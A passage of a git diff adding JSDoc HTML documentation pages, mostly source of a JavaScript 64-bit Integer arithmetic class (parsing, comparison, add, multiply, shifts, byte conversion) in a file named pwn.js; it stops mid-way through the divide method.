+     * @param {number|!Integer} numBits Number of bits
+     * @returns {!Integer} Shifted Integer
+     */
+    IntegerPrototype.shiftLeft = function shiftLeft(numBits) {
+        if (isInteger(numBits))
+            numBits = numBits.toInt();
+        if ((numBits &= 63) === 0)
+            return this;
+        else if (numBits < 32)
+            return fromBits(this.low << numBits, (this.high << numBits) | (this.low >>> (32 - numBits)), this.unsigned, this.size);
+        else
+            return fromBits(0, this.low << (numBits - 32), this.unsigned, this.size);
+    };
+
+    /**
+     * Returns this Integer with bits shifted to the left by the given amount. This is an alias of {@link Integer#shiftLeft}.
+     * @function
+     * @param {number|!Integer} numBits Number of bits
+     * @returns {!Integer} Shifted Integer
+     */
+    IntegerPrototype.shl = IntegerPrototype.shiftLeft;
+
+    /**
+     * Returns this Integer with bits arithmetically shifted to the right by the given amount.
+     * @param {number|!Integer} numBits Number of bits
+     * @returns {!Integer} Shifted Integer
+     */
+    IntegerPrototype.shiftRight = function shiftRight(numBits) {
+        if (isInteger(numBits))
+            numBits = numBits.toInt();
+        if ((numBits &= 63) === 0)
+            return this;
+        else if (numBits < 32)
+            return fromBits((this.low >>> numBits) | (this.high << (32 - numBits)), this.high >> numBits, this.unsigned, this.size);
+        else
+            return fromBits(this.high >> (numBits - 32), this.high >= 0 ? 0 : -1, this.unsigned, this.size);
+    };
+
+    /**
+     * Returns this Integer with bits arithmetically shifted to the right by the given amount. This is an alias of {@link Integer#shiftRight}.
+     * @function
+     * @param {number|!Integer} numBits Number of bits
+     * @returns {!Integer} Shifted Integer
+     */
+    IntegerPrototype.shr = IntegerPrototype.shiftRight;
+
+    /**
+     * Returns this Integer with bits logically shifted to the right by the given amount.
+     * @param {number|!Integer} numBits Number of bits
+     * @returns {!Integer} Shifted Integer
+     */
+    IntegerPrototype.shiftRightUnsigned = function shiftRightUnsigned(numBits) {
+        if (isInteger(numBits))
+            numBits = numBits.toInt();
+        numBits &= 63;
+        if (numBits === 0)
+            return this;
+        else {
+            var high = this.high;
+            if (numBits < 32) {
+                var low = this.low;
+                return fromBits((low >>> numBits) | (high << (32 - numBits)), high >>> numBits, this.unsigned, this.size);
+            } else if (numBits === 32)
+                return fromBits(high, 0, this.unsigned, this.size);
+            else
+                return fromBits(high >>> (numBits - 32), 0, this.unsigned, this.size);
+        }
+    };
+
+    /**
+     * Returns this Integer with bits logically shifted to the right by the given amount. This is an alias of {@link Integer#shiftRightUnsigned}.
+     * @function
+     * @param {number|!Integer} numBits Number of bits
+     * @returns {!Integer} Shifted Integer
+     */
+    IntegerPrototype.shru = IntegerPrototype.shiftRightUnsigned;
+
+    /**
+     * Converts this Integer to signed.
+     * @returns {!Integer} Signed long
+     */
+    IntegerPrototype.toSigned = function toSigned() {
+        if (!this.unsigned)
+            return this;
+        return fromBits(this.low, this.high, false, this.size);
+    };
+
+    /**
+     * Converts this Integer to unsigned.
+     * @returns {!Integer} Unsigned long
+     */
+    IntegerPrototype.toUnsigned = function toUnsigned() {
+        if (this.unsigned)
+            return this;
+        return fromBits(this.low, this.high, true, this.size);
+    };
+
+    /**
+     * Converts this Integer to its byte representation.
+     * @param {boolean=} le Whether little or big endian, defaults to big endian
+     * @returns {!Array.<number>} Byte representation
+     */
+    IntegerPrototype.toBytes = function(le) {
+        return le ? this.toBytesLE() : this.toBytesBE();
+    }
+
+    /**
+     * Converts this Integer to its little endian byte representation.
+     * @returns {!Array.<number>} Little endian byte representation
+     */
+    IntegerPrototype.toBytesLE = function() {
+        var hi = this.high,
+            lo = this.low;
+        return [
+             lo         & 0xff,
+            (lo >>>  8) & 0xff,
+            (lo >>> 16) & 0xff,
+            (lo >>> 24) & 0xff,
+             hi         & 0xff,
+            (hi >>>  8) & 0xff,
+            (hi >>> 16) & 0xff,
+            (hi >>> 24) & 0xff
+        ];
+    }
+
+    /**
+     * Converts this Integer to its big endian byte representation.
+     * @returns {!Array.<number>} Big endian byte representation
+     */
+    IntegerPrototype.toBytesBE = function() {
+        var hi = this.high,
+            lo = this.low;
+        return [
+            (hi >>> 24) & 0xff,
+            (hi >>> 16) & 0xff,
+            (hi >>>  8) & 0xff,
+             hi         & 0xff,
+            (lo >>> 24) & 0xff,
+            (lo >>> 16) & 0xff,
+            (lo >>>  8) & 0xff,
+             lo         & 0xff
+        ];
+    }
+
+    return Integer;
+})();
+
+export default Integer;
+
+
+
+ + + + +
+ +
+ +
+ Documentation generated by JSDoc 3.5.5 on Sun Nov 12 2017 13:46:00 GMT+0900 (KST) using the docdash theme. +
+ + + + + diff --git a/docs/pwn.js.html b/docs/pwn.js.html new file mode 100644 index 0000000..90c5c3b --- /dev/null +++ b/docs/pwn.js.html @@ -0,0 +1,2350 @@ + + + + + pwn.js - Documentation + + + + + + + + + + + + + + + + +
+ +

pwn.js

+ + + + + + + +
+
+
var Integer = (function() {
+    /**
+     * Constructs a 64 bit two's-complement integer, given its low and high 32 bit values as *signed* integers.
+     *  See the from* functions below for more convenient ways of constructing Integers.
+     * @exports Integer
+     * @class A Integer class for representing a 64 bit two's-complement integer value.
+     * @param {number} low The low (signed) 32 bits of the long
+     * @param {number} high The high (signed) 32 bits of the long
+     * @param {boolean=} unsigned Whether unsigned or not, defaults to `false` for signed
+     * @constructor
+     */
+    function Integer(low, high, unsigned, size) {
+
+        this.size = size || 64;
+
+        if (size == 8) {
+            low &= 0xff;
+            if (unsigned || low < 0x80) {
+                high = 0;
+            } else {
+                low |= 0xffffff00;
+                high = 0xffffffff;
+            }
+        } else if (size == 16) {
+            low &= 0xffff;
+            if (unsigned || low < 0x8000) {
+                high = 0;
+            } else {
+                low |= 0xffff0000;
+                high = 0xffffffff;
+            }
+        } else if (size == 32) {
+            if (unsigned || (low|0) >= 0) {
+                high = 0;
+            } else {
+                high = 0xffffffff;
+            }
+        }
+
+        /**
+         * The low 32 bits as a signed value.
+         * @type {number}
+         */
+        this.low = low | 0;
+
+        /**
+         * The high 32 bits as a signed value.
+         * @type {number}
+         */
+        this.high = high | 0;
+
+        /**
+         * Whether unsigned or not.
+         * @type {boolean}
+         */
+        this.unsigned = !!unsigned;
+    }
+
+    // The internal representation of a long is the two given signed, 32-bit values.
+    // We use 32-bit pieces because these are the size of integers on which
+    // Javascript performs bit-operations.  For operations like addition and
+    // multiplication, we split each number into 16 bit pieces, which can easily be
+    // multiplied within Javascript's floating-point representation without overflow
+    // or change in sign.
+    //
+    // In the algorithms below, we frequently reduce the negative case to the
+    // positive case by negating the input(s) and then post-processing the result.
+    // Note that we must ALWAYS check specially whether those values are MIN_VALUE
+    // (-2^63) because -MIN_VALUE == MIN_VALUE (since 2^63 cannot be represented as
+    // a positive number, it overflows back into a negative).  Not handling this
+    // case would often result in infinite recursion.
+    //
+    // Common constant values ZERO, ONE, NEG_ONE, etc. are defined below the from*
+    // methods on which they depend.
+
+    /**
+     * An indicator used to reliably determine if an object is a Integer or not.
+     * @type {boolean}
+     * @const
+     * @private
+     */
+    Integer.prototype.__isInteger__;
+
+    Object.defineProperty(Integer.prototype, "__isInteger__", {
+        value: true,
+        enumerable: false,
+        configurable: false
+    });
+
+    /**
+     * @function
+     * @param {*} obj Object
+     * @returns {boolean}
+     * @inner
+     */
+    function isInteger(obj) {
+        return (obj && obj["__isInteger__"]) === true;
+    }
+
+    /**
+     * Tests if the specified object is a Integer.
+     * @function
+     * @param {*} obj Object
+     * @returns {boolean}
+     */
+    Integer.isInteger = isInteger;
+
+    /**
+     * A cache of the Integer representations of small integer values.
+     * @type {!Object}
+     * @inner
+     */
+    var INT_CACHE = {};
+
+    /**
+     * A cache of the Integer representations of small unsigned integer values.
+     * @type {!Object}
+     * @inner
+     */
+    var UINT_CACHE = {};
+
+    /**
+     * @param {number} value
+     * @param {boolean=} unsigned
+     * @returns {!Integer}
+     * @inner
+     */
+    function fromInt(value, unsigned) {
+        var obj, cachedObj, cache;
+        if (unsigned) {
+            value >>>= 0;
+            if (cache = (0 <= value && value < 256)) {
+                cachedObj = UINT_CACHE[value];
+                if (cachedObj)
+                    return cachedObj;
+            }
+            obj = fromBits(value, (value | 0) < 0 ? -1 : 0, true);
+            if (cache)
+                UINT_CACHE[value] = obj;
+            return obj;
+        } else {
+            value |= 0;
+            if (cache = (-128 <= value && value < 128)) {
+                cachedObj = INT_CACHE[value];
+                if (cachedObj)
+                    return cachedObj;
+            }
+            obj = fromBits(value, value < 0 ? -1 : 0, false);
+            if (cache)
+                INT_CACHE[value] = obj;
+            return obj;
+        }
+    }
+
+    /**
+     * Returns a Integer representing the given 32 bit integer value.
+     * @function
+     * @param {number} value The 32 bit integer in question
+     * @param {boolean=} unsigned Whether unsigned or not, defaults to `false` for signed
+     * @returns {!Integer} The corresponding Integer value
+     */
+    Integer.fromInt = fromInt;
+
+    /**
+     * @param {number} value
+     * @param {boolean=} unsigned
+     * @returns {!Integer}
+     * @inner
+     */
+    function fromNumber(value, unsigned) {
+        if (isNaN(value) || !isFinite(value))
+            return unsigned ? UZERO : ZERO;
+        if (unsigned) {
+            if (value < 0)
+                return UZERO;
+            if (value >= TWO_PWR_64_DBL)
+                return MAX_UNSIGNED_VALUE;
+        } else {
+            if (value <= -TWO_PWR_63_DBL)
+                return MIN_VALUE;
+            if (value + 1 >= TWO_PWR_63_DBL)
+                return MAX_VALUE;
+        }
+        if (value < 0)
+            return fromNumber(-value, unsigned).neg();
+        return fromBits((value % TWO_PWR_32_DBL) | 0, (value / TWO_PWR_32_DBL) | 0, unsigned);
+    }
+
+    /**
+     * Returns a Integer representing the given value, provided that it is a finite number. Otherwise, zero is returned.
+     * @function
+     * @param {number} value The number in question
+     * @param {boolean=} unsigned Whether unsigned or not, defaults to `false` for signed
+     * @returns {!Integer} The corresponding Integer value
+     */
+    Integer.fromNumber = fromNumber;
+
+    /**
+     * @param {number} lowBits
+     * @param {number} highBits
+     * @param {boolean=} unsigned
+     * @returns {!Integer}
+     * @inner
+     */
+    function fromBits(lowBits, highBits, unsigned) {
+        return new Integer(lowBits, highBits, unsigned);
+    }
+
+    /**
+     * Returns a Integer representing the 64 bit integer that comes by concatenating the given low and high bits. Each is
+     *  assumed to use 32 bits.
+     * @function
+     * @param {number} lowBits The low 32 bits
+     * @param {number} highBits The high 32 bits
+     * @param {boolean=} unsigned Whether unsigned or not, defaults to `false` for signed
+     * @returns {!Integer} The corresponding Integer value
+     */
+    Integer.fromBits = fromBits;
+
+    /**
+     * @function
+     * @param {number} base
+     * @param {number} exponent
+     * @returns {number}
+     * @inner
+     */
+    var pow_dbl = Math.pow; // Used 4 times (4*8 to 15+4)
+
+    /**
+     * @param {string} str
+     * @param {(boolean|number)=} unsigned
+     * @param {number=} radix
+     * @returns {!Integer}
+     * @inner
+     */
+    function fromString(str, unsigned, radix) {
+        if (str.length === 0)
+            throw Error('empty string');
+        if (str === "NaN" || str === "Infinity" || str === "+Infinity" || str === "-Infinity")
+            return ZERO;
+        if (typeof unsigned === 'number') { 
+            // For goog.math.long compatibility
+            radix = unsigned,
+            unsigned = false;
+        } else {
+            unsigned = !! unsigned;
+        }
+        radix = radix || 10;
+        if (radix < 2 || 36 < radix)
+            throw RangeError('radix');
+
+        var p;
+        if ((p = str.indexOf('-')) > 0)
+            throw Error('interior hyphen');
+        else if (p === 0) {
+            return fromString(str.substring(1), unsigned, radix).neg();
+        }
+
+        // Do several (8) digits each time through the loop, so as to
+        // minimize the calls to the very expensive emulated div.
+        var radixToPower = fromNumber(pow_dbl(radix, 8));
+
+        var result = ZERO;
+        for (var i = 0; i < str.length; i += 8) {
+            var size = Math.min(8, str.length - i),
+                value = parseInt(str.substring(i, i + size), radix);
+            if (size < 8) {
+                var power = fromNumber(pow_dbl(radix, size));
+                result = result.mul(power).add(fromNumber(value));
+            } else {
+                result = result.mul(radixToPower);
+                result = result.add(fromNumber(value));
+            }
+        }
+        result.unsigned = unsigned;
+        return result;
+    }
+
+    /**
+     * Returns a Integer representation of the given string, written using the specified radix.
+     * @function
+     * @param {string} str The textual representation of the Integer
+     * @param {(boolean|number)=} unsigned Whether unsigned or not, defaults to `false` for signed
+     * @param {number=} radix The radix in which the text is written (2-36), defaults to 10
+     * @returns {!Integer} The corresponding Integer value
+     */
+    Integer.fromString = fromString;
+
+    /**
+     * @function
+     * @param {!Integer|number|string|!{low: number, high: number, unsigned: boolean}} val
+     * @returns {!Integer}
+     * @inner
+     */
+    function fromValue(val) {
+        if (val /* is compatible */ instanceof Integer)
+            return val;
+        if (typeof val === 'number')
+            return fromNumber(val);
+        if (typeof val === 'string')
+            return fromString(val);
+        // Throws for non-objects, converts non-instanceof Integer:
+        return fromBits(val.low, val.high, val.unsigned);
+    }
+
+    /**
+     * Converts the specified value to a Integer.
+     * @function
+     * @param {!Integer|number|string|!{low: number, high: number, unsigned: boolean}} val Value
+     * @returns {!Integer}
+     */
+    Integer.fromValue = fromValue;
+
+    // NOTE: the compiler should inline these constant values below and then remove these variables, so there should be
+    // no runtime penalty for these.
+
+    /**
+     * @type {number}
+     * @const
+     * @inner
+     */
+    var TWO_PWR_16_DBL = 1 << 16;
+
+    /**
+     * @type {number}
+     * @const
+     * @inner
+     */
+    var TWO_PWR_24_DBL = 1 << 24;
+
+    /**
+     * @type {number}
+     * @const
+     * @inner
+     */
+    var TWO_PWR_32_DBL = TWO_PWR_16_DBL * TWO_PWR_16_DBL;
+
+    /**
+     * @type {number}
+     * @const
+     * @inner
+     */
+    var TWO_PWR_64_DBL = TWO_PWR_32_DBL * TWO_PWR_32_DBL;
+
+    /**
+     * @type {number}
+     * @const
+     * @inner
+     */
+    var TWO_PWR_63_DBL = TWO_PWR_64_DBL / 2;
+
+    /**
+     * @type {!Integer}
+     * @const
+     * @inner
+     */
+    var TWO_PWR_24 = fromInt(TWO_PWR_24_DBL);
+
+    /**
+     * @type {!Integer}
+     * @inner
+     */
+    var ZERO = fromInt(0);
+
+    /**
+     * Signed zero.
+     * @type {!Integer}
+     */
+    Integer.ZERO = ZERO;
+
+    /**
+     * @type {!Integer}
+     * @inner
+     */
+    var UZERO = fromInt(0, true);
+
+    /**
+     * Unsigned zero.
+     * @type {!Integer}
+     */
+    Integer.UZERO = UZERO;
+
+    /**
+     * @type {!Integer}
+     * @inner
+     */
+    var ONE = fromInt(1);
+
+    /**
+     * Signed one.
+     * @type {!Integer}
+     */
+    Integer.ONE = ONE;
+
+    /**
+     * @type {!Integer}
+     * @inner
+     */
+    var UONE = fromInt(1, true);
+
+    /**
+     * Unsigned one.
+     * @type {!Integer}
+     */
+    Integer.UONE = UONE;
+
+    /**
+     * @type {!Integer}
+     * @inner
+     */
+    var NEG_ONE = fromInt(-1);
+
+    /**
+     * Signed negative one.
+     * @type {!Integer}
+     */
+    Integer.NEG_ONE = NEG_ONE;
+
+    /**
+     * @type {!Integer}
+     * @inner
+     */
+    var MAX_VALUE = fromBits(0xFFFFFFFF|0, 0x7FFFFFFF|0, false);
+
+    /**
+     * Maximum signed value.
+     * @type {!Integer}
+     */
+    Integer.MAX_VALUE = MAX_VALUE;
+
+    /**
+     * @type {!Integer}
+     * @inner
+     */
+    var MAX_UNSIGNED_VALUE = fromBits(0xFFFFFFFF|0, 0xFFFFFFFF|0, true);
+
+    /**
+     * Maximum unsigned value.
+     * @type {!Integer}
+     */
+    Integer.MAX_UNSIGNED_VALUE = MAX_UNSIGNED_VALUE;
+
+    /**
+     * @type {!Integer}
+     * @inner
+     */
+    var MIN_VALUE = fromBits(0, 0x80000000|0, false);
+
+    /**
+     * Minimum signed value.
+     * @type {!Integer}
+     */
+    Integer.MIN_VALUE = MIN_VALUE;
+
+    /**
+     * @alias Integer.prototype
+     * @inner
+     */
+    var IntegerPrototype = Integer.prototype;
+
+    /**
+     * Converts the Integer to a 32 bit integer, assuming it is a 32 bit integer.
+     * @returns {number}
+     */
+    IntegerPrototype.toInt = function toInt() {
+        return this.unsigned ? this.low >>> 0 : this.low;
+    };
+
+    /**
+     * Converts the Integer to a the nearest floating-point representation of this value (double, 53 bit mantissa).
+     * @returns {number}
+     */
+    IntegerPrototype.toNumber = function toNumber() {
+        if (this.unsigned)
+            return ((this.high >>> 0) * TWO_PWR_32_DBL) + (this.low >>> 0);
+        return this.high * TWO_PWR_32_DBL + (this.low >>> 0);
+    };
+
+    /**
+     * Converts the Integer to a string written in the specified radix.
+     * @param {number=} radix Radix (2-36), defaults to 10
+     * @returns {string}
+     * @override
+     * @throws {RangeError} If `radix` is out of range
+     */
+    IntegerPrototype.toString = function toString(radix) {
+        radix = radix || 10;
+        if (radix < 2 || 36 < radix)
+            throw RangeError('radix');
+        if (this.isZero())
+            return '0';
+        if (this.isNegative()) { // Unsigned Integers are never negative
+            if (this.eq(MIN_VALUE)) {
+                // We need to change the Integer value before it can be negated, so we remove
+                // the bottom-most digit in this base and then recurse to do the rest.
+                var radixInteger = fromNumber(radix),
+                    div = this.div(radixInteger),
+                    rem1 = div.mul(radixInteger).sub(this);
+                return div.toString(radix) + rem1.toInt().toString(radix);
+            } else
+                return '-' + this.neg().toString(radix);
+        }
+
+        // Do several (6) digits each time through the loop, so as to
+        // minimize the calls to the very expensive emulated div.
+        var radixToPower = fromNumber(pow_dbl(radix, 6), this.unsigned),
+            rem = this;
+        var result = '';
+        while (true) {
+            var remDiv = rem.div(radixToPower),
+                intval = rem.sub(remDiv.mul(radixToPower)).toInt() >>> 0,
+                digits = intval.toString(radix);
+            rem = remDiv;
+            if (rem.isZero())
+                return digits + result;
+            else {
+                while (digits.length < 6)
+                    digits = '0' + digits;
+                result = '' + digits + result;
+            }
+        }
+    };
+
+    /**
+     * Gets the high 32 bits as a signed integer.
+     * @returns {number} Signed high bits
+     */
+    IntegerPrototype.getHighBits = function getHighBits() {
+        return this.high;
+    };
+
+    /**
+     * Gets the high 32 bits as an unsigned integer.
+     * @returns {number} Unsigned high bits
+     */
+    IntegerPrototype.getHighBitsUnsigned = function getHighBitsUnsigned() {
+        return this.high >>> 0;
+    };
+
+    /**
+     * Gets the low 32 bits as a signed integer.
+     * @returns {number} Signed low bits
+     */
+    IntegerPrototype.getLowBits = function getLowBits() {
+        return this.low;
+    };
+
+    /**
+     * Gets the low 32 bits as an unsigned integer.
+     * @returns {number} Unsigned low bits
+     */
+    IntegerPrototype.getLowBitsUnsigned = function getLowBitsUnsigned() {
+        return this.low >>> 0;
+    };
+
+    /**
+     * Gets the number of bits needed to represent the absolute value of this Integer.
+     * @returns {number}
+     */
+    IntegerPrototype.getNumBitsAbs = function getNumBitsAbs() {
+        if (this.isNegative()) // Unsigned Integers are never negative
+            return this.eq(MIN_VALUE) ? 64 : this.neg().getNumBitsAbs();
+        var val = this.high != 0 ? this.high : this.low;
+        for (var bit = 31; bit > 0; bit--)
+            if ((val & (1 << bit)) != 0)
+                break;
+        return this.high != 0 ? bit + 33 : bit + 1;
+    };
+
+    /**
+     * Tests if this Integer's value equals zero.
+     * @returns {boolean}
+     */
+    IntegerPrototype.isZero = function isZero() {
+        return this.high === 0 && this.low === 0;
+    };
+
+    /**
+     * Tests if this Integer's value is negative.
+     * @returns {boolean}
+     */
+    IntegerPrototype.isNegative = function isNegative() {
+        return !this.unsigned && this.high < 0;
+    };
+
+    /**
+     * Tests if this Integer's value is positive.
+     * @returns {boolean}
+     */
+    IntegerPrototype.isPositive = function isPositive() {
+        return this.unsigned || this.high >= 0;
+    };
+
+    /**
+     * Tests if this Integer's value is odd.
+     * @returns {boolean}
+     */
+    IntegerPrototype.isOdd = function isOdd() {
+        return (this.low & 1) === 1;
+    };
+
+    /**
+     * Tests if this Integer's value is even.
+     * @returns {boolean}
+     */
+    IntegerPrototype.isEven = function isEven() {
+        return (this.low & 1) === 0;
+    };
+
+    /**
+     * Tests if this Integer's value equals the specified's.
+     * @param {!Integer|number|string} other Other value
+     * @returns {boolean}
+     */
+    IntegerPrototype.equals = function equals(other) {
+        if (!isInteger(other))
+            other = fromValue(other);
+        if (this.unsigned !== other.unsigned && (this.high >>> 31) === 1 && (other.high >>> 31) === 1)
+            return false;
+        return this.high === other.high && this.low === other.low;
+    };
+
+    /**
+     * Tests if this Integer's value equals the specified's. This is an alias of {@link Integer#equals}.
+     * @function
+     * @param {!Integer|number|string} other Other value
+     * @returns {boolean}
+     */
+    IntegerPrototype.eq = IntegerPrototype.equals;
+
+    /**
+     * Tests if this Integer's value differs from the specified's.
+     * @param {!Integer|number|string} other Other value
+     * @returns {boolean}
+     */
+    IntegerPrototype.notEquals = function notEquals(other) {
+        return !this.eq(/* validates */ other);
+    };
+
+    /**
+     * Tests if this Integer's value differs from the specified's. This is an alias of {@link Integer#notEquals}.
+     * @function
+     * @param {!Integer|number|string} other Other value
+     * @returns {boolean}
+     */
+    IntegerPrototype.neq = IntegerPrototype.notEquals;
+
+    /**
+     * Tests if this Integer's value is less than the specified's.
+     * @param {!Integer|number|string} other Other value
+     * @returns {boolean}
+     */
+    IntegerPrototype.lessThan = function lessThan(other) {
+        return this.comp(/* validates */ other) < 0;
+    };
+
+    /**
+     * Tests if this Integer's value is less than the specified's. This is an alias of {@link Integer#lessThan}.
+     * @function
+     * @param {!Integer|number|string} other Other value
+     * @returns {boolean}
+     */
+    IntegerPrototype.lt = IntegerPrototype.lessThan;
+
+    /**
+     * Tests if this Integer's value is less than or equal the specified's.
+     * @param {!Integer|number|string} other Other value
+     * @returns {boolean}
+     */
+    IntegerPrototype.lessThanOrEqual = function lessThanOrEqual(other) {
+        return this.comp(/* validates */ other) <= 0;
+    };
+
+    /**
+     * Tests if this Integer's value is less than or equal the specified's. This is an alias of {@link Integer#lessThanOrEqual}.
+     * @function
+     * @param {!Integer|number|string} other Other value
+     * @returns {boolean}
+     */
+    IntegerPrototype.lte = IntegerPrototype.lessThanOrEqual;
+
+    /**
+     * Tests if this Integer's value is greater than the specified's.
+     * @param {!Integer|number|string} other Other value
+     * @returns {boolean}
+     */
+    IntegerPrototype.greaterThan = function greaterThan(other) {
+        return this.comp(/* validates */ other) > 0;
+    };
+
+    /**
+     * Tests if this Integer's value is greater than the specified's. This is an alias of {@link Integer#greaterThan}.
+     * @function
+     * @param {!Integer|number|string} other Other value
+     * @returns {boolean}
+     */
+    IntegerPrototype.gt = IntegerPrototype.greaterThan;
+
+    /**
+     * Tests if this Integer's value is greater than or equal the specified's.
+     * @param {!Integer|number|string} other Other value
+     * @returns {boolean}
+     */
+    IntegerPrototype.greaterThanOrEqual = function greaterThanOrEqual(other) {
+        return this.comp(/* validates */ other) >= 0;
+    };
+
+    /**
+     * Tests if this Integer's value is greater than or equal the specified's. This is an alias of {@link Integer#greaterThanOrEqual}.
+     * @function
+     * @param {!Integer|number|string} other Other value
+     * @returns {boolean}
+     */
+    IntegerPrototype.gte = IntegerPrototype.greaterThanOrEqual;
+
+    /**
+     * Compares this Integer's value with the specified's.
+     * @param {!Integer|number|string} other Other value
+     * @returns {number} 0 if they are the same, 1 if the this is greater and -1
+     *  if the given one is greater
+     */
+    IntegerPrototype.compare = function compare(other) {
+        if (!isInteger(other))
+            other = fromValue(other);
+        if (this.eq(other))
+            return 0;
+        var thisNeg = this.isNegative(),
+            otherNeg = other.isNegative();
+        if (thisNeg && !otherNeg)
+            return -1;
+        if (!thisNeg && otherNeg)
+            return 1;
+        // At this point the sign bits are the same
+        if (!this.unsigned)
+            return this.sub(other).isNegative() ? -1 : 1;
+        // Both are positive if at least one is unsigned
+        return (other.high >>> 0) > (this.high >>> 0) || (other.high === this.high && (other.low >>> 0) > (this.low >>> 0)) ? -1 : 1;
+    };
+
+    /**
+     * Compares this Integer's value with the specified's. This is an alias of {@link Integer#compare}.
+     * @function
+     * @param {!Integer|number|string} other Other value
+     * @returns {number} 0 if they are the same, 1 if the this is greater and -1
+     *  if the given one is greater
+     */
+    IntegerPrototype.comp = IntegerPrototype.compare;
+
+    /**
+     * Negates this Integer's value.
+     * @returns {!Integer} Negated Integer
+     */
+    IntegerPrototype.negate = function negate() {
+        if (!this.unsigned && this.eq(MIN_VALUE))
+            return MIN_VALUE;
+        return this.not().add(ONE);
+    };
+
+    /**
+     * Negates this Integer's value. This is an alias of {@link Integer#negate}.
+     * @function
+     * @returns {!Integer} Negated Integer
+     */
+    IntegerPrototype.neg = IntegerPrototype.negate;
+
+    /**
+     * Returns the sum of this and the specified Integer.
+     * @param {!Integer|number|string} addend Addend
+     * @returns {!Integer} Sum
+     */
+    IntegerPrototype.add = function add(addend) {
+        if (!isInteger(addend))
+            addend = fromValue(addend);
+
+        // Divide each number into 4 chunks of 16 bits, and then sum the chunks.
+
+        var a48 = this.high >>> 16;
+        var a32 = this.high & 0xFFFF;
+        var a16 = this.low >>> 16;
+        var a00 = this.low & 0xFFFF;
+
+        var b48 = addend.high >>> 16;
+        var b32 = addend.high & 0xFFFF;
+        var b16 = addend.low >>> 16;
+        var b00 = addend.low & 0xFFFF;
+
+        var c48 = 0, c32 = 0, c16 = 0, c00 = 0;
+        c00 += a00 + b00;
+        c16 += c00 >>> 16;
+        c00 &= 0xFFFF;
+        c16 += a16 + b16;
+        c32 += c16 >>> 16;
+        c16 &= 0xFFFF;
+        c32 += a32 + b32;
+        c48 += c32 >>> 16;
+        c32 &= 0xFFFF;
+        c48 += a48 + b48;
+        c48 &= 0xFFFF;
+        return fromBits((c16 << 16) | c00, (c48 << 16) | c32, this.unsigned, this.size);
+    };
+
+    /**
+     * Returns the difference of this and the specified Integer.
+     * @param {!Integer|number|string} subtrahend Subtrahend
+     * @returns {!Integer} Difference
+     */
+    IntegerPrototype.subtract = function subtract(subtrahend) {
+        if (!isInteger(subtrahend))
+            subtrahend = fromValue(subtrahend);
+        return this.add(subtrahend.neg());
+    };
+
+    /**
+     * Returns the difference of this and the specified Integer. This is an alias of {@link Integer#subtract}.
+     * @function
+     * @param {!Integer|number|string} subtrahend Subtrahend
+     * @returns {!Integer} Difference
+     */
+    IntegerPrototype.sub = IntegerPrototype.subtract;
+
+    /**
+     * Returns the product of this and the specified Integer.
+     * @param {!Integer|number|string} multiplier Multiplier
+     * @returns {!Integer} Product
+     */
+    IntegerPrototype.multiply = function multiply(multiplier) {
+        if (this.isZero())
+            return ZERO;
+        if (!isInteger(multiplier))
+            multiplier = fromValue(multiplier);
+        if (multiplier.isZero())
+            return ZERO;
+        if (this.eq(MIN_VALUE))
+            return multiplier.isOdd() ? MIN_VALUE : ZERO;
+        if (multiplier.eq(MIN_VALUE))
+            return this.isOdd() ? MIN_VALUE : ZERO;
+
+        if (this.isNegative()) {
+            if (multiplier.isNegative())
+                return this.neg().mul(multiplier.neg());
+            else
+                return this.neg().mul(multiplier).neg();
+        } else if (multiplier.isNegative())
+            return this.mul(multiplier.neg()).neg();
+
+        // If both longs are small, use float multiplication
+        if (this.lt(TWO_PWR_24) && multiplier.lt(TWO_PWR_24))
+            return fromNumber(this.toNumber() * multiplier.toNumber(), this.unsigned);
+
+        // Divide each long into 4 chunks of 16 bits, and then add up 4x4 products.
+        // We can skip products that would overflow.
+
+        var a48 = this.high >>> 16;
+        var a32 = this.high & 0xFFFF;
+        var a16 = this.low >>> 16;
+        var a00 = this.low & 0xFFFF;
+
+        var b48 = multiplier.high >>> 16;
+        var b32 = multiplier.high & 0xFFFF;
+        var b16 = multiplier.low >>> 16;
+        var b00 = multiplier.low & 0xFFFF;
+
+        var c48 = 0, c32 = 0, c16 = 0, c00 = 0;
+        c00 += a00 * b00;
+        c16 += c00 >>> 16;
+        c00 &= 0xFFFF;
+        c16 += a16 * b00;
+        c32 += c16 >>> 16;
+        c16 &= 0xFFFF;
+        c16 += a00 * b16;
+        c32 += c16 >>> 16;
+        c16 &= 0xFFFF;
+        c32 += a32 * b00;
+        c48 += c32 >>> 16;
+        c32 &= 0xFFFF;
+        c32 += a16 * b16;
+        c48 += c32 >>> 16;
+        c32 &= 0xFFFF;
+        c32 += a00 * b32;
+        c48 += c32 >>> 16;
+        c32 &= 0xFFFF;
+        c48 += a48 * b00 + a32 * b16 + a16 * b32 + a00 * b48;
+        c48 &= 0xFFFF;
+        return fromBits((c16 << 16) | c00, (c48 << 16) | c32, this.unsigned, this.size);
+    };
+
+    /**
+     * Returns the product of this and the specified Integer. This is an alias of {@link Integer#multiply}.
+     * @function
+     * @param {!Integer|number|string} multiplier Multiplier
+     * @returns {!Integer} Product
+     */
+    IntegerPrototype.mul = IntegerPrototype.multiply;
+
+    /**
+     * Returns this Integer divided by the specified. The result is signed if this Integer is signed or
+     *  unsigned if this Integer is unsigned.
+     * @param {!Integer|number|string} divisor Divisor
+     * @returns {!Integer} Quotient
+     */
+    IntegerPrototype.divide = function divide(divisor) {
+        if (!isInteger(divisor))
+            divisor = fromValue(divisor);
+        if (divisor.isZero())
+            throw Error('division by zero');
+        if (this.isZero())
+            return this.unsigned ? UZERO : ZERO;
+        var approx, rem, res;
+        if (!this.unsigned) {
+            // This section is only relevant for signed longs and is derived from the
+            // closure library as a whole.
+            if (this.eq(MIN_VALUE)) {
+                if (divisor.eq(ONE) || divisor.eq(NEG_ONE))
+                    return MIN_VALUE;  // recall that -MIN_VALUE == MIN_VALUE
+                else if (divisor.eq(MIN_VALUE))
+                    return ONE;
+                else {
+                    // At this point, we have |other| >= 2, so |this/other| < |MIN_VALUE|.
+                    var halfThis = this.shr(1);
+                    approx = halfThis.div(divisor).shl(1);
+                    if (approx.eq(ZERO)) {
+                        return divisor.isNegative() ? ONE : NEG_ONE;
+                    } else {
+                        rem = this.sub(divisor.mul(approx));
+                        res = approx.add(rem.div(divisor));
+                        return res;
+                    }
+                }
+            } else if (divisor.eq(MIN_VALUE))
+                return this.unsigned ? UZERO : ZERO;
+            if (this.isNegative()) {
+                if (divisor.isNegative())
+                    return this.neg().div(divisor.neg());
+                return this.neg().div(divisor).neg();
+            } else if (divisor.isNegative())
+                return this.div(divisor.neg()).neg();
+            res = ZERO;
+        } else {
